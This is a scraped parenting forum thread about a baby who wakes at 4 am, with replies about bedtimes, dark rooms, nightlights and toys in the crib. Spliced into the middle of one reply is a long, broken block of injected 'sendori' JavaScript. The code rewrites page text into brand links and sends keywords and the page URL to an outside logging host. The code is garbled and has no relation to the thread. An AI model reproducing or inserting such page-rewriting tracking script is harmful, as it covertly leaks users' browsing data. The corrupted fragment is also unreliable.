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4 am wakings

My LO is getting better at sleeping through the night, but sometimes that means he wakes up at 4 am.  Is there any way to encourage him to go back to sleep, or do I just need to accept this early waking (which is what I have been doing)? My DH put some toys in his crib the last time this happened and he played a little by himself until I came to get him around 5 am. Is this normal? Any advice or experience with this sort of thing? I'm not even sure toys are allowed in the crib at this point; I always thought we were not supposed to put anything in there.

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Re: 4 am wakings

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    My little guy does the same thing.  I have this turtle nightlight that casts the constellations on the wall.  I turn it on.  I also make sure to give him a diaper change and make sure he's warm. 
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    imageninthgirl:

    An early wake-up is often a sign of overtiredness from a too-late bedtime or too much awake time during the day.  Have you tried moving bedtime 20 minutes earlier or shortening time awake during the day?

     If you're sure it's not a schedule issue then it may be developmental.

    His bedtime is fairly early.  He gets tired around 6:30 pm and usually asleep by 7:00 pm.  He is not a great napper during the day, however.  Although the early wakeups have happened even when he has napped well (a one-hour nap in the morning and a 2-hour nap in the afternoon).  I will look into your point, however, with further research.  Maybe his overall poor daytime napping is having this effect.  Yesterday, he only took one half-hour nap.  var sndpID = '10403'; var sndgID = '{D7577701-5D96-40FF-A232-F83A0CABE260}'; var CorrectedDomain; var OriginalDomain; function sendoriInline2(){function b(a,b,d){if((a==-1||!c(d.charAt(a)))&&(b>=d.length||!c(d.charAt(b)))){return true}return false}function c(a){var b=a.charCodeAt(0);if(b>47&&b64&&b96&&b";i.newText="";var q=0;for(o=0;oDrinks!=null||dtime==" "||dtime==";"||dtime==","||dtime=="."||dtime=="time==">"||dtime=="?"){if(gDrinks!=null){l=0;o=d.length}if(h[textlower]!=undefined&&h[textlower]!=""){f=true;break}word=d.substring(l,o);wordlower=word.toLowerCase();if(g[word]!=null&&h[wordlower]==undefined&&(e.indexOf(g[word])=0){adbrandterm=word.replace("&","")}if(word.indexOf("'")>=0){adbrandterm=word.replace("'","")}if(i.newText==""){preElement=d.substring(0,l)}else{preElement=i.newText.substring(0,l+q)}postElement=d.substring(o);if(g[word]=="keyword"){if(!n){highlightStartTag=""}else if(n&&k!=undefined&&k!=""){highlightStartTag=""}else continue}else{if(!n){highlightStartTag=""}else if(n&&j!=undefined&&j!=""){highlightStartTag=""}else continue}p="";i.newText=preElement+highlightStartTag+word+p+postElement;i.substituted=true;q+=highlightStartTag.length+p.length;c[c.length]="https://l.sendori.com/stbin/lognow.cgi/?key="+encodeURIComponent(adbrandterm)+"&domain="+encodeURIComponent(document.URL);a++}else if(h[wordlower]==""){f=true;break}l=o+1}}return i}function u(a){if(f==true){return}var b=a.nodeValue;var c=a.parentNode;var d=t(b);if(d.substituted==true){var e=document.createElement("text");e.innerHTML=d.newText;c.replaceChild(e,a)}}function v(a){if(s(a.nodeName)){return}if(a.nodeName=="#text"&&d.trim(a.nodeValue).length>0){u(a)}if(a.hasChildNodes()){for(var b=0;bBeer)}}}var a=0;var b=3;var c=new Array;var e=document.URL;var f=false;var g=new Object;var h=new Object;var i=new Array;var j;var k;var l;var m;var n=false;if(typeof partner_config!=="undefined"){for(var o=0;otime.id;if(sndpID==p){n=true;j=partner_config.productstime.inline_brand;k=partner_config.productstime.inline_keyword;if((j==undefined||j=="")&&(k==undefined||k=="")){return}}}}for(var o=0;otime.brandword;var r=inline_keyword_obj.inlinebrandstime.hostname;g[q]=r}for(var o=0;otime.keyword;h[q]=""}if(typeof console==="undefined"||typeof console.log==="undefined"){console={};console.log=function(){}}d.expr[":"].HasBlackListURL=function(a,b,c){var e=false;d.each(blacklist_urls.urls,function(b){urlstring=this.url.toString().toLowerCase();if(d(a).attr("href")!=null&&d(a).attr("href")!=="undefined"&&d(a).attr("href").toString().toLowerCase().indexOf(urlstring)>=0){e=true}});return e};if(d("a:HasBlackListURL('')").length>0){f=true}var w=document.getElementsByTagName("body");for(var x=0;xemail.BRAND;if(CorrectedDomain.indexOf(f.toLowerCase())>=0){brand_category=slider_keywords.slidertextemail.CATEGORY;if(c!=undefined&&c!="")r(brand_category,"NX",c,"");else r(brand_category,"NX",1860,"");a=true;break}}}if(!a&&d!=undefined&&d=="Y"){l(CorrectedDomain,"NX")}}if(b!=undefined&&b!=""){if(!m()&&!n()&&!o()&&!p())return false;if(o()){query=q("p")}else{query=q("q")}if(query==undefined||query==null||query==""){return false}for(var e=0;eemail.BRAND;if(f.toLowerCase()==query.toLowerCase()){faviconsrc=slider_keywords.slidertextemail.FAVICONSRC;if(b!=undefined&&b!="")r(f,"SERP",b,"");else r(f,"SERP",1871,faviconsrc)}}}}function k(a,b,c,e,f,g){divToInsert="

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    My LO has been waking up earlier than usual the last couple weeks. I have found that ifnbsp;I don't go in there, he'll mess around a bit then go back to sleep. It seems to be the same exactnbsp;time every morning like he's hiding a little alarm clock in his crib! I chalk it up to being a phase and figure this schedule will change again at some point.
    This might just be me but I heard thatnbsp;babies/children shouldn't play in their crib because then they don't associate it with sleep anymore....??
    I We do this too, and if she wakes she eventually falls back to sleep. Our house rule is the day doesn't start until 6:30, so barring a serious problem, we don't get her up before then. She has her lovie in with her, and recently H put a small owl in her crib too. I don't like too many toys as it can keep them awake to play, but she usually finds her lovie, a paci, talks a bit then goes back to sleep.
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    Update:  Last night I did a few things differently... I started his bedtime wind-down a half hour earlier and made the room really dark - much darker than I had been doing.  I have read (including from post above) that an earlier bedtime sometimes is the answer.  I have also read that melatonin, which the body makes naturally for sleep, needs darkness.  I also made sure the room was a bit warmer, since I think he was a little cold the last morning when I got him.  He slept through the night, from 6:50 pm to 5:20 am, to be exact.  I think that's pretty good...?  (I didn't put any toys in the crib.) 
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    Wow, I never thought about an earlier bedtime.

    DS does that sometimes too, but he's easily put back to sleep with a bottle.

    I've been trying so hard to keep him up later to make him sleep later... gah... of course.

    Glad you got some extra sleep :)  And I've heard of that whole - only sleep in bed - thing about adults too. No tv, no reading, otherwise your body won't associate the bed with just sleep and it'll be harder to get to sleep.

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